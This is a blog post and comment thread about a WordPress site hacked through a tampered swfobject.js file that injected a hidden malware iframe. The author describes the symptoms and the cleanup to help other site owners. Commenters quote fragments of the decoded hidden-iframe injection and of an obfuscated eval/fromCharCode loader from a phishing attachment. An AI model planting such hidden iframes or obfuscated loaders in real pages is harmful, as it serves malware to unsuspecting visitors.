Latest TweetsCelebrating 5 years at Plugin Planet!… #WordPress #plugins
Perishable Press

Stream Video Player / swfobject Hack

During the recent redesign, I discovered that my newer WP installation (v3.3.1) had been hacked. I get this email first thing in the morning:

I’m getting malware warnings on the home page – you might want to check it out. Avast is saying it’s blocking JS-Redirector.PV Trojan from your site.

So checking it out, I found an <iframe> quietly tucked in the <head> section of my web pages:

[ Screenshot: malicious iframe injected into web page ]

Here is the actual iframe code (plain text file).

Yuk, that’s not good.. so investigating further (and as quickly as possible), I discovered some useful clues..

  • The <iframe> disappears when you disable the Stream Video Player, and re-appears when the plugin is activated
  • Removing wp_head() causes the <iframe> to appear in the footer via wp_footer()
  • The <iframe> contains quite the elaborate file, as seen here

So at this point, we have a mysterious <iframe> that’s somehow related to the Stream Video Player, but where is it coming from? A close comparison of my then-compromised server files with the original Stream Video plugin revealed no differences (version 1.3.4).

After more searching, I discovered that WordPress’ included copy of swfobject had been compromised. At the top of the file, above the actual/legit swfobject script, something had inserted this code (plain text file).

As you’ll notice, it’s encoded beyond all recognition (see this comment), with little to search for should you find yourself looking for the same slice of malicious code. Hopefully this post will save someone the three hours that I spent cleaning this up. Here is a summary of this hack for the skimmers among us:

  • getting malware reports of “JS-Redirector.PV”
  • found hidden <iframe> in header/footer
  • found hacked swfobject.js file in /wp-includes/
  • removed the hack by restoring the swfobject file and disabling the Stream Video Player plugin

Lessons learned: I thought my site was secure, but all it takes is one vulnerability and someone/something is gonna find and exploit it. I’m not pointing any fingers in this article, just want to share the results to help others who may be stumped over this well-hidden hack. If you’re running the Stream Video Plugin, you may want to investigate. It caught me totally off-guard.

If you’e familiar with this hack or can help with further information, decoding, or other clues, please share them in the comments. Thanks.

Jeff Starr
About the Author Jeff Starr = Creative thinker. Passionate about free and open Web.
8 responses
  1. Wow, thanks for finding that & sharing! As I learned after something similar happened to a project management tool I was hosting, this is a pretty common template for sneaking in & obfuscating malicious code. In that case, I suspect my web host was hacked, or at least its FTP logins were. (There were some other discrepancies, but since most of my site was bespoke, there weren’t many obvious places to cut & paste this kind of crap.) Looking through the logs, I found evidence leading up to the hack of a lot of war dialing-type probes looking for the certain telltale files and/or directories in typical [default] configurations (like mine had been).

    So (assuming good intentions) possibly that’s what happened here, and someone did a commit on the badness without noticing this hack (easy to do in a project that size, especially if that file changed so a simple checksum wouldn’t be helpful).

    • Jeff Starr

      Interesting to note that this happened almost immediately after that exact thing happened at my host (mt). They sent out a notice that all passwords had been compromised (or something along those lines) and that everyone needs to change ALL of their passwords – email accounts too – to prevent this sort of stuff from happening. I guess I wasn’t fast enough!

  2. Heyho,

    i decoded the malware:

    if (document.getElementsByTagName('body')[0]) {
    } else {
    	document.write("<iframe src='' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
    function iframer() {
    	var f = document.createElement('iframe');
    	f.setAttribute('src',''); = 'hidden';   = 'absolute';       = '0';        = '0';
    • Jeff Starr

      Thanks wulfi, it definitely helps to see what’s happening and how the hack works. I looked at decoding it, but time is a luxury these days.. may I ask how you decoded it?

  3. You need wait PR update…

  4. We too had a few occurences of this kind of compromisises happening on some of our client machines.. What I don’t understand is where they get in? Would you say that the host gets compromised most often? I’ve had complete new themes installed on a blog! It’s crazy.

    Another question I’ve wondered about many times is why does WordPress not come standard with anti brute-force attack login?? It boggles my mind. I have to install a plug-in for it..

    • Jeff Starr

      Yes from what I’ve gathered about this incident, the attack initiated at the server level, across many sites, targeting the vulnerability discussed in the article, as well as any other known exploits on the agenda.

      I’ve never used any sort of brute-force attack scripts/plugins. As far as I understand it, brute-force attacks are pretty ineffective when each guess involves a significant delay due to server-response time.. it would just take forever to get anything beyond simple passwords. Good to be aware and concerned about it though.

  5. Interesting! Almost the same code comprised a file recently sent to someone I work with. The e-mail was the usual kind of lying nonsense–so and so has scanned a file and sent it to you, please click the attachment to open, never mind that the attachment is an HTML file–but when I cut open the attachment for examination, the garbled mess beyond piqued my curiosity.

    The file’s a basic HTML file whose body section begins, and excuse me if I do this incorrectly, as it’s my first time:

    <h1><b>Loading. Please wait.</b></h1>
    try{new String("asd").prototype.q}
    catch(hgberger){f=['(here, an identical or near-identical series of numbers, but separated by "i" instead of "q")'][0].split('i');md='a';v="eval";}
    for(;621!=i;i+=1) {j=1;s+=r.fromCharCode(38+1*w[j]);}

    With the exception of that last line, all line breaks in the script section were added by myself.

    Same code, different setup. Not really important, just interesting.

    Though in retrospect, it was stupid of me to open the file to see what it looked like before reviewing the code… I don’t think anything “took,” since I was on a Mac, but I was careless, so the computer I opened it on had to undergo quarantine…

    -Chris T

[ Comments are closed for this post ]